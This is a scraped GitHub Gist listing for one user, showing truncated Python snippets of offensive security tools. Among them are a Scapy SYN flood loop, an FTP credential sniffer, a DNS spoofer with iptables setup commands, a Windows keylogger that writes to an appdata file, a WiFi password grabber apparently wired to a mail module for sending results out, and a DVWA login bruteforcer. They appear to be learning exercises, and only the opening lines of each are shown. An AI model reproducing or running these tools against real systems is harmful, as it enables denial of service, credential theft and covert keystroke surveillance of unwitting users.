Skip to content

Instantly share code, notes, and snippets.

View davidlares's full-sized avatar
🎯
Focusing

David E Lares S davidlares

🎯
Focusing
View GitHub Profile
@davidlares
davidlares / md5.py
Last active February 20, 2020 21:39
MD5 hash comparison w/ text dictionary in Py3
#!/usr/bin/python3
from termcolor import colored
import hashlib
# opening password file
def open_file(list):
global file
try:
file = open(plist, "r")
@davidlares
davidlares / mac.py
Created February 27, 2020 05:11
Manually change of MAC Address w/ Python3 and the subprocess module
#!/usr/bin/python3
import subprocess
def change_mac(interface, mac_address):
# shutdown interface
subprocess.call(["ifconfig", interface, "down"])
# changing the MAC address
subprocess.call(["ifconfig", interface, "hw", "ether", mac_address])
# starting up interface
@davidlares
davidlares / syn_flood.py
Created February 29, 2020 16:57
A simple dynamic SYN flooding script with Scapy for registered ports.
#!/usr/bin/python
from scapy.all import *
def flood(src,target,message):
# spamming ports
for dest_port in range(1024, 65535):
IPlayer = IP(src=src, dst=target)
TCPlayer = TCP(sport=4444, dport=dest_port) # from 4444 to the range
RAWlayer = Raw(load=message)
@davidlares
davidlares / mac_sniffer.py
Last active February 29, 2020 19:39
A MAC sniffer for grabbing dest, source and protocols for well-known ports
#!/usr/bin/python
'''
Ethernet header (14 bytes)
- 12 bytes - destination (6) and source port (6)
- 2 bytes: type of protocol (ethernet packet)
'''
import socket
# strings to binary manipulation
@davidlares
davidlares / ftp.py
Created February 29, 2020 21:33
CLI Based FTP auth sniffer script w/ Python and the Scapy package
#!/usr/bin/python3
# sniffing login credentials via FTP (insecure protocol)
import optparse
from scapy.all import *
import re # regex
def ftp(packet):
# getting the destination ( IP address from header)
@davidlares
davidlares / dns_queries.py
Created March 1, 2020 15:25
A script for printing and digesting DNS queries w/ Python and the Scapy package
#!/usr/bin/python3
from scapy.all import *
def dns(packet):
# finding DNS packets (check DNS layer - if it does, inspect)
if packet.haslayer(DNS):
# printing source from IP header and summary of DNS headers
print(packet[IP].src, packet[DNS].summary())
@davidlares
davidlares / dns_spoofer.py
Last active March 1, 2020 17:30
A PoC script for intercepting & redirecting DNS queries w/ Scapy and NFQ
#!/usr/bin/python3
'''
An iptable flush will be required
iptables --flush
iptables -I FORWARD -j NFQUEUE --queue-num 0 (this number may vary)
iptables -I OUTPUT -j NFQUEUE --queue-num 0 (this number may vary)
iptables -I INPUT -j NFQUEUE --queue-num 0 (this number may vary)
@davidlares
davidlares / keylogger.py
Last active March 6, 2020 21:17
A Basic and direct txt file-based Keylogger script for Py2 w/ Pynput
#!/usr/bin/python
import pynput.keyboard
import threading
import os
# log variable
log = ""
# path
path = os.environ["appdata"] + "\\happy.txt"
@davidlares
davidlares / wifi.py
Created March 10, 2020 16:05
Grabbing WiFi connection credentials in plain-text for Windows OS's w/ Python
#!/usr/bin/python
import subprocess
import mail1
import re # regex pattern
if __name__ == "__main__":
# setting the command (all available hotspots)
command = 'netsh wlan show profile'
# grabbing networks
@davidlares
davidlares / dvwa.py
Created March 10, 2020 17:12
Bruteforcing Metasplotaible2's DVWA login-page Script w/ known pass-list
#!/usr/bin/python
# a good password list (In Kali): /usr/share/wordlists/metasploit/rockyou.txt
import requests
def bruteforcer(username, url):
for password in passwords:
password = password.strip()
print("[!] Bruteforcing with password: %s" % password)
# generating dictionary (key (form name value) - username as value = whatever set on input)